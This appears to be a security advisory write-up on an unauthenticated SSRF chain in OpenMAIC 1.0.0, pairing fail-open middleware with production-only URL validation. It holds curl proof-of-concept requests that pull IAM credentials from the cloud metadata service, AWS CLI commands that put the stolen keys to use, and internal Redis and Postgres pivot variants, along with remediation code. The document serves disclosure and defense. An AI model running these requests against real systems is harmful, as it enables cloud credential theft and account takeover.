ALL WRITE-UPS

CVE-2026-86259: OpenMAIC 1.0.0 - Unauthenticated Outbound SSRF to Cloud Metadata Service via Fail-Open Middleware and Environment-Gated Validation Bypass

CVE-2026-86259: OpenMAIC 1.0.0 - Unauthenticated Outbound SSRF to Cloud Metadata Service via Fail-Open Middleware and Environment-Gated Validation Bypass

Overview

Verified. A two-leg exploit chain exists in OpenMAIC's authentication middleware and outbound provider request layer that allows an unauthenticated remote attacker to make the application server issue arbitrary outbound HTTP requests - including to the cloud Instance Metadata Service (IMDS) at 169.254.169.254 - without possessing any credentials whatsoever.

Leg 1: The Next.js Edge middleware in middleware.ts implements a fail-open posture when the ACCESS_CODE environment variable is absent. In the default .env.example configuration, ACCESS_CODE is unset, meaning all 70 API routes are globally unauthenticated and reachable by any external client.

Leg 2: Across five distinct API route handlers, client-supplied provider base URLs (via x-base-url or baseUrl request parameters) are only passed through validateUrlForSSRF() when process.env.NODE_ENV === 'production'. In any development, staging, preview, or unset environment, the SSRF guard is completely skipped and the application issues an outbound fetch() to the attacker-controlled URL.

Chained together: an unauthenticated attacker supplies x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ to any generation endpoint, and the server fetches the cloud IAM role credentials and returns them in the response. No prior account, no token, no local foothold required.


Affected Paths

File Lines Role Vulnerability
middleware.ts 60–64 Auth Gate Fail-open when ACCESS_CODE unset (CWE-306): if (!accessCode) { return NextResponse.next(); } passes all requests unconditionally
app/api/generate/image/route.ts 73–78 SSRF Sink validateUrlForSSRF gated behind NODE_ENV === 'production' (CWE-918)
app/api/generate/video/route.ts 65–70 SSRF Sink Same pattern
app/api/extract-document/route.ts 258–263 SSRF Sink Same pattern
app/api/parse-pdf/route.ts 47–52 SSRF Sink Same pattern
lib/server/resolve-model.ts 104–109 SSRF Sink Same pattern

Root Cause

Flaw A - Fail-Open Authentication Middleware (middleware.ts:60–64)

const accessCode = process.env.ACCESS_CODE;
if (!accessCode) {
  return NextResponse.next();   // ← unconditional pass-through, no auth enforced
}

The middleware is the sole authentication gate for all API routes. When ACCESS_CODE is not set - the default state per .env.example - every request to every route passes immediately. There is no fallback mechanism, no warning emitted, no alternative auth check. The fail-open is unconditional and silent.

This exposes 70 API endpoints including generation, persistence, media proxy, extraction, and AI execution routes to any unauthenticated caller.

Flaw B - Environment-Gated SSRF Validation (app/api/generate/image/route.ts:73–78 and 4 others)

// Vulnerable pattern repeated verbatim across 5 route handlers:
if (clientBaseUrl && process.env.NODE_ENV === 'production') {
  const ssrfError = await validateUrlForSSRF(clientBaseUrl);
  if (ssrfError) {
    return apiError('INVALID_URL', 403, ssrfError);
  }
}
// In any non-production environment: validateUrlForSSRF is never called.
// fetch() proceeds to the client-supplied URL unconditionally.

The validateUrlForSSRF function in lib/server/ssrf-guard.ts already handles environment-specific exceptions correctly via ALLOW_LOCAL_NETWORKS. The NODE_ENV gate in each route handler is entirely redundant as a dev-mode affordance but catastrophic as a security boundary: it disables SSRF validation globally across staging, preview, CI/CD, and self-hosted deployments where NODE_ENV is not explicitly set to 'production'.

Five separate routes carry this pattern. An attacker only needs one of them to be reachable.


Attack Vector

Phase Step Effect
1. No credentials needed ACCESS_CODE is unset in default config Middleware executes return NextResponse.next() - all routes open
2. Target endpoint POST /api/generate/image (or video, parse-pdf, extract-document) Route handler begins processing without any authentication check
3. Supply IMDS URL Attacker sets x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ in request headers clientBaseUrl is extracted from header
4. SSRF guard skipped NODE_ENV !== 'production' → validateUrlForSSRF() branch not entered No block applied to the attacker-supplied URL
5. Outbound fetch Server issues fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/') IMDS returns the list of attached IAM roles
6. Follow-up Attacker issues second request with full credential path (e.g. http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name) IMDS returns AccessKeyId, SecretAccessKey, Token, Expiration in JSON
7. Escalation Attacker uses leaked credentials externally Full access to any AWS resource accessible to the attached IAM role

Preconditions:

  • Application deployed to a cloud environment (AWS EC2, ECS, Lambda, GCP, Azure - any IMDS-backed host).
  • ACCESS_CODE environment variable not set (the default).
  • NODE_ENV not set to 'production' (any staging/preview/dev/self-hosted deployment).
  • Port 443/80 reachable by the attacker (any publicly accessible deployment).

Proof of Concept

Step 1 - Enumerate IMDS roles

curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
  -H "Content-Type: application/json" \
  -H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
  -d '{"prompt": "test", "model": "dall-e-3"}'

Expected response (IMDS passthrough):

ec2-instance-role

Step 2 - Exfiltrate full IAM credentials

curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
  -H "Content-Type: application/json" \
  -H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-instance-role" \
  -d '{"prompt": "test", "model": "dall-e-3"}'

Expected response:

{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAXXXXXXXXXXXXXXXXXXX",
  "SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
  "Token": "IQoJb3JpZ2luX2VjEA...",
  "Expiration": "2026-09-02T00:30:00Z"
}

Step 3 - Leverage credentials

export AWS_ACCESS_KEY_ID="ASIAXXXXXXXXXXXXXXXXXXX"
export AWS_SECRET_ACCESS_KEY="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEA..."

aws sts get-caller-identity
aws s3 ls
aws iam list-attached-role-policies --role-name ec2-instance-role

Variant - Internal service pivot (Redis, Postgres)

# Redis on default port - RESP protocol response returned in API error
curl -s -X POST "https://target.example.com/api/generate/image" \
  -H "x-base-url: http://127.0.0.1:6379/" \
  -d '{"prompt":"INFO"}'

# PostgreSQL on default port
curl -s -X POST "https://target.example.com/api/generate/image" \
  -H "x-base-url: http://127.0.0.1:5432/" \
  -d '{"prompt":"test"}'

Impact & Blast Radius

  • Confidentiality: CRITICAL - Full IAM role credential exfiltration. Depending on the role's policy: S3 bucket contents, RDS snapshots, Secrets Manager values, ECR images, SSM Parameter Store secrets, and cross-account resources are all accessible.
  • Integrity: HIGH - Attacker with write-capable IAM role can modify S3 objects, push malicious container images to ECR, modify Lambda function code, or alter infrastructure state via CloudFormation/Terraform state files.
  • Availability: HIGH - Attacker can terminate EC2 instances, drop RDS clusters, or exhaust service quotas.
  • Scope: CHANGED - The vulnerability escapes the application boundary into the cloud control plane. A single HTTP request compromises the entire cloud account.
  • Lateral movement - Temporary IMDS credentials can be used to assume other IAM roles, pivot across accounts, or escalate to Administrator via misconfigured trust policies.
  • Persistence - Attacker can provision long-lived IAM users, access keys, or backdoor Lambda/EC2 user data before the temporary token expires.

CVSS

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:H/SI:N/SA:N
Score: 9.0 Critical
Metric Value Justification
Attack Vector (AV) Network (N) Fully remote. Any HTTP client that can reach the application exploits both legs without local access.
Attack Complexity (AC) Low (L) No race conditions, no timing dependencies, no prerequisite knowledge beyond a standard HTTP request.
Attack Requirements (AT) None (N) No deployment-specific condition needs to be set up by the attacker. The default configuration- ACCESS_CODE unset and NODE_ENV not explicitly production- is sufficient on its own.
Privileges Required (PR) None (N) Default deployment carries no ACCESS_CODE. Zero credentials of any kind are required to reach either leg of the chain.
User Interaction (UI) None (N) No victim action is required at any stage. The SSRF is entirely attacker-driven on the server side.
Vuln. System Confidentiality (VC) High (H) The IMDS response containing AccessKeyId, SecretAccessKey, and SessionToken is returned directly in the API response body- full IAM credential material exfiltrated from the vulnerable system.
Vuln. System Integrity (VI) Low (L) The SSRF itself does not write to the application. The response from the internal target is reflected to the attacker, which constitutes minor integrity impact on the vulnerable system boundary.
Vuln. System Availability (VA) None (N) The SSRF request path does not degrade the availability of the application or its dependencies.
Subsequent System Confidentiality (SC) High (H) Exfiltrated IAM credentials are immediately usable outside the application to read S3 buckets, Secrets Manager values, RDS snapshots, SSM Parameter Store entries, and cross-account resources- full confidentiality loss across the cloud tenancy.
Subsequent System Integrity (SI) High (H) A write-capable IAM role allows the attacker to modify Lambda function code, push malicious images to ECR, alter CloudFormation / Terraform state, or assume further roles with broader permissions.
Subsequent System Availability (SA) High (H) The attacker can terminate EC2 instances, drop RDS clusters, exhaust service quotas, or delete S3 buckets- causing irreversible availability loss across cloud-hosted resources.

Remediation

Fix 1 - Fail-closed middleware (FINDING-003)

// middleware.ts - replace the fail-open block
const accessCode = process.env.ACCESS_CODE;
if (!accessCode) {
  // Fail closed: require explicit opt-out for development, not implicit fail-open
  const isDevelopmentBypass = process.env.DISABLE_AUTH_FOR_DEVELOPMENT === 'true'
    && process.env.NODE_ENV === 'development';
  if (!isDevelopmentBypass) {
    return NextResponse.json(
      { error: 'SERVER_NOT_CONFIGURED', message: 'Access control is not configured.' },
      { status: 503 }
    );
  }
}

Fix 2 - Unconditional SSRF validation (FINDING-001)

Remove process.env.NODE_ENV === 'production' from all five route handlers. The validateUrlForSSRF function already handles dev/staging exceptions internally via ALLOW_LOCAL_NETWORKS:

// Fixed pattern - apply to all 5 affected routes:
if (clientBaseUrl) {
  const ssrfError = await validateUrlForSSRF(clientBaseUrl);
  if (ssrfError) {
    return apiError('INVALID_URL', 403, ssrfError);
  }
}
// PRIVACY SHIELD // ZERO-KNOWLEDGE LOCK
Finished reading or stepping away?

Conceal this advisory and lock the viewport in-browser using WebCrypto AES-256-GCM.

COMMS // CH-0x0D
414.1 MHz
> KIRA:

Initializing security matrix...

KIRA // OPERATIVE
> ESC to close